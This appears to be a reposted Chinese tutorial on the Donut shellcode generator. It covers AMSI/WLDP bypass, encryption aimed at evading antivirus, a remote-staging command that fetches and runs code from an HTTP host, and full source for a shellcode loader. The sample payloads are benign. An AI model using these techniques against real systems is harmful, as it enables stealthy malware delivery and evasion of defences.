第18节 神级开源shellcode工具:donut

我做了一个关于shellcode入门和开发的专题👩🏻‍💻,主要面向对网络安全技术感兴趣的小伙伴。这是视频版内容对应的文字版材料,内容里面的每一个环境我都亲自测试实操过的记录,有需要的小伙伴可以参考。

我的个人主页:https://imbyter.com

目录

一、Donut是什么​

 二、Donut的特点​

三、功能参数解读​

四、Donut的编译​

1. 将CMD设置为VS的x86编译环境变量​

2. 编译源码获得loader_exe_x86.h文件​

五、将CMD设置为VS的x64编译环境变量​

编译源码获得最终文件​

六、功能场景测试​

1. 将原生exe转为shellcode​

2. 将原生dll转为shellcode​

3. 将.net exe转为shellcode​

4. 将.net dll转为shellcode​

5. 远程加载shellcode​

6. 将vbs/js/xsl转为shellcode​

7. shellcode加载器​

七、集成开发​

如何使用donut.dll文件​

八、存在问题​

1. 不支持转换的情况​

2. 兼容性存在的问题​

九、代码附件​

对4.1测试exe源码​

对4.2测试dll源码​

对4.3测试.net exe源码​

对4.4测试.net dll源码​

对4.7shellcode加载器源码​

十、参考资料​


一、Donut是什么​

Donut是一款shellcode生成器,可将C/C++、C#生成的PE文件转换为shellcode文件,同时支持JS、XSL、VBS脚本转换为shellcode。 Donut生成的shellcode可以从HTTP服务器上加载,也可以从本地加载。生成的shellcode模块支持128位比特随机密钥加密,支持压缩解压且支持AMSI与WLDP的Bypass。

 二、Donut的特点​

  1. 对目标文件转换为shellcode的过程中,支持数据压缩,包括aPLib、LZNT1、Xpress,,以及Xpress Huffman等五种算法。
  2. 使用通过函数字符串的hash值来定位API地址。
  3. 支持128位密钥对称加密。
  4. 支持对Windows的AMSI接口和WLDP策略的规避。
  5. 支持PE文件参数传入。
  6. 能够避免退出函数对主线程的强制退出行为(Patching exit-related API to avoid termination of host process)。
  7. 支持多种输出格式,包括C语言、Ruby、Python、Powershell、Base64、C#以及16进制格式。
  8. 支持静态库与动态库的生成,方便集成到第三方项目中。

三、功能参数解读​

在命令行中直接输入 donut.exe 回车即可查看 donut 所支持的功能参数,如下:

选项说明描述
-n<name>HTTP服 务 器 加 载 模 式 下 的 模 块 名 , 如 果 启 用 熵 等 级 , 则 模 块 名 随 机 。
-s<server>在 HTTP服 务 器 中 用 来 存 储 模 块 的 URL地 址 。
-e<level>熵 等 级 : 1=无 , 2=随 机 名 , 3=随 机 名 +加 密 ( 默 认 ) 。
-a<arch>目 标 构 架 : 1=x86, 2=amd64, 3=x86+amd64( 默 认 ) 。
-b<level>绕 过 AMSI/WLDP: 1=不 启 用 ( 默 认 ) , 2=启 用 , 失 败 则 终 止 , 3=启 用 , 失 败 仍 继 续 。
-o<path>保 存 文 件 名 ( 含 路 径 ) , 默 认 是 "shellcode.bin"。
-f<format>输 出 格 式 : 1=Binary (默 认 ), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex。
-y<addr>为 加 载 器 创 建 线 程 , 并 在 提 供 地 址 处 继 续 执 行 。
-x<action>退 出 : 1=退 出 线 程 ( 默 认 ) , 2=退 出 进 程 。
-c<namespace.class>选 类 名 ( .NET DLL需 要 ) 。
-d<name>为 .NET程 序 集 创 建 的 AppDomain名 称 。 如 果 启 用 了 熵 , 则 会 随 机 产 生 。
-m`<methodapi>`
-p<arguments>DDL或 EXE的 可 选 参 数 或 命 令 行 ( 需 要 用 双 引 号 包 含 ) 。
-w传 递 给 标 准 动 态 链 接 库 DLL( 非 .Net DLL) 函 数 Unicode编 码 的 参 数 ( 默 认 是 ANSI) 。
-r<version>CLR运 行 时 版 本 , 默 认 使 用 MetaHeader, 如 果 没 有 则 使 用 v4.0.30319。
-t将 标 准 的 EXE( 非 托 管 ) 入 口 点 作 为 线 程 执 行 。
-z<engine>打 包 /压 缩 文 件 : 1=None, 2=aPLib( 默 认 ) , 3=LZNT1, 4=Xpress, 5=Xpress Huffman。

本文使用的donut汉化版执行时,默认使用参数:

-a 3 -b 1 -e 3 -f 1 -x 1 -z 2 -o "shellcode.bin"

四、Donut的编译​

在Windows下使用Microsoft Visual Studio进行编译:

1. 将CMD设置为VS的x86编译环境变量​

将CMD切换到D:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build目录(各个VS版本路径有所不同),执行vcvar32.bat。

2. 编译源码获得loader_exe_x86.h文件​

  1. 将CMD切换到到donut根目录,执行nmake donut -f Makefile.msvc。
  2. 得到 loader_exe_x86.h,错误忽略。

五、将CMD设置为VS的x64编译环境变量​

新打开CMD切换到D:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build目录(各个VS版本路径有所不同),执行vcvar64.bat。

编译源码获得最终文件​

  1. 将CMD切换到到donut目录,执行nmake donut -f Makefile.msvc。
  2. 得到 donut.exe、lib\donut.dll,以及lib\donut.lib文件。

六、功能场景测试​

以下“原生”EXE/DLL指非托管PE文件(包括并不限于C/C++、delphie等编写生成的可执行文件),可以直接由系统加载运行,区别于.Net生成的托管文件。

1. 将原生exe转为shellcode​

测试程序cexe.exe源代码见文末代码附件。

  1. 不带参数的exe文件转换为shellcode,直接执行:donut.exe cexe.exe

    • 实例类型:嵌入 表示原文件cexe.exe被嵌入到生成的shellcode内部了。

    • 模块文件:"cexe.exe" 表示要处理的目标文件是cexe.xe。

    • 熵:随机 + 加密 表示cexe.exe被转为shellcode时使用了随机密钥加密方式。我们可以对同一个cexe.exe连续进行两次处理,然后对比前后生成的两个文件,会发现两个文件数据并不一样。也就是说如果启用了熵的随机加密参数,那么每次生成的shellcode文件均不一样,在对于抗分析与免杀对抗有一定效果。使用“Beyond Compare”比较二文件效果(红色区域表示不同之处):

  2. 带参数的exe转换为shellcode,执行:donut.exe CExe64.exe -p "参数1 参数2"参数:参数1 参数2 表示对CExe64.exe文件传入了两个参数,一个是“参数1”,一个是“参数2”。 如果一个参数中有空格,则以"来包含,比如: > donut.exe CExe64.exe -p "\"参数1第一部分 参数1第二部分\" 参数2 参数3"

2. 将原生dll转为shellcode​

  1. 无导出函数的dll转为shellcode

    donut.exe CDll64.dll

  2. 有导出函数的dll转为shellcode

    donut.exe CDll.dll -m fun

    • -m fun:表示执行dll的导出函数fun

    • 函数:fun 表示生成的shellcode会调用dll的导出函数fun。

3. 将.net exe转为shellcode​

donut.exe后面直接跟要转的.net exe即可:donut.exe DotNet.exe

4. 将.net dll转为shellcode​

donut.exe DotDLl.dll -c TestClass -m RunProcess -p "calc notepad"

  • -c TestClass:表示该程序类名为TestClass;
  • -m RunProcess:表示该程序入口函数为RunProcess;
  • -p "calc notepad":表示传递了两个参数,一个calc,一个notepad;

5. 远程加载shellcode​

donut支持从远程HTTP服务器获取shellcode并执行:donut.exe CExe32.exe -n a.php -s http://192.168.1.22

  • -n a.php:表示生成放在HTTP服务器上的shellcode文件名为a.php;
  • -s http://192.168.1.22:表示本地运行"加载器shellcode"(即shellcode.bin)时,会从该URL获取a.php;
  • 模块名称:a.php CEexe32.exe转换的shellcode文件,需要放在http://192.168.1.22的根目录。
  • 上传到:http://192.168.1.22 a.php需要放置的URL路径。
  • shellcode:“shellcode.bin” 注意,此处生成的shellcode.bin并非包含CExe32.exe的shellcode,而是donut自带的用于从HTTP服务器下载并执行shellcode的功能模块。

6. 将vbs/js/xsl转为shellcode​

  1. 将如下demo.vbs转为shellcode:donut.exe demo.vbs

    demo.vbs源码:

    rem 获取主机名
    Const HKEY_LOCAL_MACHINE = &H80000002
    strRegKey = "SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
    Set objReg = GetObject( "winmgmts:{impersonationLevel=impersonate}!//./root/default:StdRegProv" )
    objReg.GetStringValue HKEY_LOCAL_MACHINE, strRegKey, "Hostname", strHostname
    
    rem 获取系统版本
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery _
    ("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem in colOperatingSystems
    Msgbox  "OS: " & objOperatingSystem.Caption & " " & objOperatingSystem.Version & chr(13) & "Host Name: " & strHostName
    Next
  2. 将如下demo.js转为shellcode:donut.exe demo.js

    demo.js源码:

    var a = new ActiveXObject("WScript.Shell");
    // 弹框提示1秒自动关闭
    a.popup('Hello, imbyter.com',1,'title',0+64);
    // 打开记事本
    a.Run("cmd.exe /c notepad.exe",0,true)

7. shellcode加载器​

以上各种类型文件转为shellcode后,直接使用shellcode加载器(代码见下文)调用执行即可:

> LoadShellcode32.exe shellcode.bin

> LoadShellcode64.exe shellcode.bin

被处理exe/dll为32位程序,则需要用32为的shellcode加载器启用,exe/dll为64位的就用64位shellcode加载器启用。

七、集成开发​

如何使用donut.dll文件​

  1. 新建工程,将donut.h和donut.lib放到工程目录下:
  2. 如下代码:
    #include "donut.h"
    
    #pragma comment(lib,"donut")
    
    int main()
    {
        DONUT_CONFIG dc;
        memset(&dc, 0, sizeof(DONUT_CONFIG));
        dc.arch         = DONUT_ARCH_X84;
        dc.bypass       = DONUT_BYPASS_NONE;
        dc.compress     = DONUT_COMPRESS_NONE; 
        dc.exit_opt     = DONUT_OPT_EXIT_THREAD;
        dc.format       = DONUT_FORMAT_BINARY;
        dc.inst_type    = DONUT_INSTANCE_EMBED;
        dc.entropy      = DONUT_ENTROPY_DEFAULT;
        lstrcatA(dc.input, "CExe.exe");         // 目标文件
        lstrcatA(dc.output, "shellcode.bin");   // 生成文件
        int err = DonutCreate(&dc);
     
        return puts(DonutError(err));
    }
    结构体DONUT_CONFIG中的参数的宏定义,均可通过donut.h文件查看。
  3. 将编译后生成的exe和donut.dll放在同一个目录下,运行exe,即可得到shellcode.bin文件。

八、存在问题​

1. 不支持转换的情况​

能转换的标准exe/dll的PE结构中必须含有重定位表(.reloc),不含重定位表的不能转换,会有如下提示:

2. 兼容性存在的问题​

  1. 实测donut对部分带界面(Desktop Application)的exe支持并不友好;

  2. 对存在dll导出函数需要参数传递的时候,只能传递一个参数;

九、代码附件​

对4.1测试exe源码​

#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
    if (argc == 3)
    {
        // 额外有两个参数传入时
        MessageBoxA(NULL, argv[1], argv[2], MB_OK);
    }
    else
    {
        // 只有一个或者没有额外参数传入时
        MessageBoxA(NULL, "Hello, imbyter.com", "tip", MB_OK);
    }
    return 0;
}

对4.2测试dll源码​

#include <stdio.h>
#include <windows.h>

extern "C" __declspec(dllexport) void __stdcall fun()
{
    MessageBoxA(NULL, "Hello, imbyter.com", "tip", MB_OK);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"DllMan测试", L"提示", MB_OK);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

对4.3测试.net exe源码​

using System;
using System.Windows;

namespace DotNet
{
    internal class Program
    {
        static void Main(string[] args)
        {
            MessageBox.Show("Hello, imbyter.com");
        }
    }
}

对4.4测试.net dll源码​

using System.Diagnostics;

public class TestClass
{
    public static void RunProcess(string path, string path2)
    {
        Process.Start(path);
        Process.Start(path2);
    }
}

对4.7shellcode加载器源码​

#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
    if (argc == 2)
    {
        HANDLE hSCFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
        if (hSCFile == INVALID_HANDLE_VALUE)
        {
            return 0;
        }

        DWORD dwHighSize = 0;
        DWORD dwFileSize = GetFileSize(hSCFile, &dwHighSize);

        DWORD flOldProtect;
        DWORD dwAlreadyRead = 0;
        DWORD dwReadSum = 0;

        LPVOID g_pShellcode = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);

        VirtualProtect(g_pShellcode, dwFileSize, PAGE_EXECUTE_READWRITE, &flOldProtect);

        ReadFile(hSCFile, (char*)g_pShellcode, dwFileSize, &dwAlreadyRead, NULL);
        CloseHandle(hSCFile);

        /* 以下方式调用shellcode用仅支持x86版本
        _asm
        {
            pushad

            call g_pShellcode
            popad
        }
        */

        /* 以下方式调用shellcode能够x86和x64通用 */
        typedef void (*FN_Shellcode)();
        FN_Shellcode fn_Shellcode = (FN_Shellcode)g_pShellcode;
        fn_Shellcode();

        puts("the shellcode operation is successful!");
        system("pause");
    }
    else
    {
        puts("e.g: TestShellcode.exe <shellcode file path>");
        system("pause");
    }
}

十、参考资料​

  • GitHub - TheWover/donut: Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters
  • Donut - Injecting .NET Assemblies as Shellcode – The Wover – Red Teaming, .NET, and random computing topics
  • Donut:将.NET程序集注入Windows进程 - FreeBuf网络安全行业门户

如果有任何问题,欢迎在我们的知识社群『imbyter代码酷』中提问。

图片

一个人走得再快,不如一群人走得更远!🤜🤛


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/631540.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

python批量生成25位数字字母混合序列号(SN码)

欢迎关注我👆,收藏下次不迷路┗|`O′|┛ 嗷~~ 目录 一.前言 二.代码 三.使用 四.分析 一.前言 SN码,即Serial Number的缩写,有时也被称为Serial No,是产品序列号的意思。它是一个独特的标识符,用于区分同一种类

家用充电桩远程监控安全管理系统解决方案

家用充电桩远程监控安全管理系统解决方案 在当今电动汽车日益普及的背景下&#xff0c;家用充电桩的安全管理成为了广大车主关注的重点问题。为了实现对充电桩的高效、精准、远程监控&#xff0c;一套完善的家用充电桩远程监控安全管理系统解决方案应运而生。本方案旨在通过先…

SAP_ABAP-思考篇

作为一个SAP十年左右的从业者&#xff0c;其实我很清楚&#xff0c;我自身的能力&#xff0c;确实是很多东西都会一点&#xff0c;但是没有一样是精通的。坦白来说&#xff0c;我的个人简介里&#xff0c;虽然也不算夸大&#xff0c;但我估计有些新手小白看着可能会觉得还挺厉害…

KNN算法项目实战之酒的分类

加载数据集 from sklearn.datasets import load_winewine_dataset load_wine()数据集有什么&#xff1f; data&#xff1a;数据 target&#xff1a;目标分类 target_names&#xff1a;目标分类名称 DESCR&#xff1a;数据描述 features_names&#xff1a;特征变量名称 查…

在k8s中搭建elasticsearch高可用集群,并对数据进行持久化存储

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f3c5;个人专栏&#xff1a;《洞察之眼&#xff1a;ELK监控与可视化》&#x1f3c5; &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、引言 1、Elasticsearch简介 2、k8s简介 二、环境准备 …

27- ESP32-S3 USB虚拟串口(USB-OTG 外设介绍)

ESP32-S3 USB虚拟串口详解 USB-OTG 外设介绍 USB-OTG&#xff1a; USB-OTG是一种USB规范&#xff0c;允许嵌入式系统&#xff08;如手机、平板电脑、单片机系统等&#xff09;在没有主机&#xff08;如个人电脑&#xff09;的情况下直接相互通信&#xff0c;同时也能够作为传…

PG Vacuum 空间管理工具与pg_freespacemap使用

1.什么是Vacuum&#xff1a; PG pageinspect使用与块空间清理学习-CSDN博客 之前说过PG块更新的特点:先删除后插入&#xff0c;但老元组并不会真正删除&#xff0c;只是把老元组标记为删除状态&#xff0c;这就导致了PG中会有大量的垃圾数据&#xff0c;update所造成的资源消…

train_gpt2_fp32.cu - main

llm.c/test_gpt2_fp32.cu at master karpathy/llm.c (github.com) 源码 // ---------------------------------------------------------------------------- // main training loop int main(int argc, char *argv[]) {// read in the (optional) command line argumentsco…

API数据对接:本地缓存与日志记录的重要性

关键词&#xff1a;数据治理项目、API接口、数据中心、第三方系统、数据异常、本地缓存、日志记录、数据整合、多源异构数据、数据处理效率 阅读建议&#xff1a; 对于数据治理、API接口和系统集成领域的专业人士&#xff0c;本文深入剖析了本地缓存和日志记录在确保系统稳定性…

ArcGI基本技巧-科研常用OLS, GWR, GTWR模型实现

ArcGI基本技巧-科研常用OLS, GWR, GTWR模型实现 OLS,GWR,GTWR回归模型均可以揭示解释变量对被解释变量的影响且可以进行预测。Ordinary Least Squares (OLS)是最小二乘法&#xff0c;Geographically Weighted Regression (GWR)是地理加权回归&#xff0c;Geographically and T…

pytorch-8 单层神经网络及激活函数

一、单层回归网络:线性回归 1. tensor手动实现单层回归神经网络的正向传播 # tensor手动实现单层回归神经网络的正向传播 import torch from torch.nn import functional as FX = torch.tensor([[1,0,0],[1,1,0],[1,0,1],[1,1,1]], dtype = torch.float32) # 特征张量 w =…

青少年CTF练习平台Crypto题解

四重加密 下载附件后&#xff0c;得到一个rar文件&#xff0c;发现被加密&#xff0c;无法解压 使用Bandizip打开 注释中有段编码OFZW4Y3UMY CyberChef base64解码得到第一层压缩包密码 qsnctf 打开后有一个文本文档 内容如下 NCR&#xff0c;HTML解码 得到一串密…

基于Vue和uni-app的增强型单选ccRadioView组件开发

标题&#xff1a;基于Vue和uni-app的增强单选组件ccRadioView的设计与实现 摘要&#xff1a;本文将详细介绍如何使用Vue和uni-app构建一个简单、好用且通用的单选框组件ccRadioView。该组件提供了单选列表的功能&#xff0c;并支持反向传值&#xff0c;方便开发者快速实现单选…

Qwen学习笔记3:Qwen模型调用外部API实现模型增强(openai的形式)

前言 本文记录了使用本地部署的Qwen模型&#xff0c;调用外部API实现模型的功能增强&#xff0c;非常的易用&#xff0c;大家用于开发自己的应用&#xff0c;只需要作简单的修改就可以进行使用了。 本文的代码来源视频教程&#xff1a; Qwen大模型变强了&#xff0c;通过API…

JavaSE——集合框架一(3/7)-List系列集合:特点、方法、遍历方式、ArrayList集合的底层原理

目录 List集合 特点、特有方法 实例演示 List集合支持的遍历方式 ArrayList集合的底层原理 List集合 我们要了解List集合三点&#xff1a; 有什么特点&#xff1f;是否有特有功能&#xff1f;适合什么业务场景&#xff1f; 特点、特有方法 List系列集合特点&#xff1a…

互联网上的IP地址定位的应用及意义

在当今高度互联的数字时代&#xff0c;IP地址定位技术发挥着重要作用&#xff0c;帮助企业、机构和个人在多种应用场景中提高效率、保障安全和优化服务。IP数据云将深入探讨IP地址定位技术的具体应用及其实际意义。 什么是IP地址定位&#xff1f; IP地址定位IP数据云 - 免费IP…

vue+elementui地址选择器-三级联选择器+详细地址实现国内地址选择

在页面的显示情况 前端拼接实现存储 具体实现步骤 1.安装中国全省市区的数据 在命令提示符窗口使用管理员身份进入对应vue项目的文件夹&#xff0c;在窗口安装 npm install element-china-area-data -S2.在script内引入安装的数据 import {regionData,codeToText } from…

android绘制多个黑竖线条

本文实例为大家分享了android绘制多个黑竖线条展示的具体代码&#xff0c;供大家参考&#xff0c;具体内容如下 1.写一个LinearLayout的布局&#xff0c;将宽度写成5dp将高度写成match_parent. 2.在写一个类继承LinearLayout&#xff0c;用LayoutInflater实现子布局的在这个L…

tomcat--应用部署

tomcat根目录结构 Tomcat中默认网站根目录是/usr/local/apache-tomcat-8.5.100/webapps/在Tomcat的webapps目录中&#xff0c;有个非常特殊的目录ROOT&#xff0c;它就是网站默认根目录。将eshop解压后的文件放到这个/usr/local/apache-tomcat-8.5.100/webapps/ROOT中。bbs解压…

报错:(idea端口被占用)Web server failed to start. Port 9090 was already in use.

cmd里面输入&#xff1a; netstat -ano|findstr "9090" 可以看到pid是9644 然后再打开任务管理器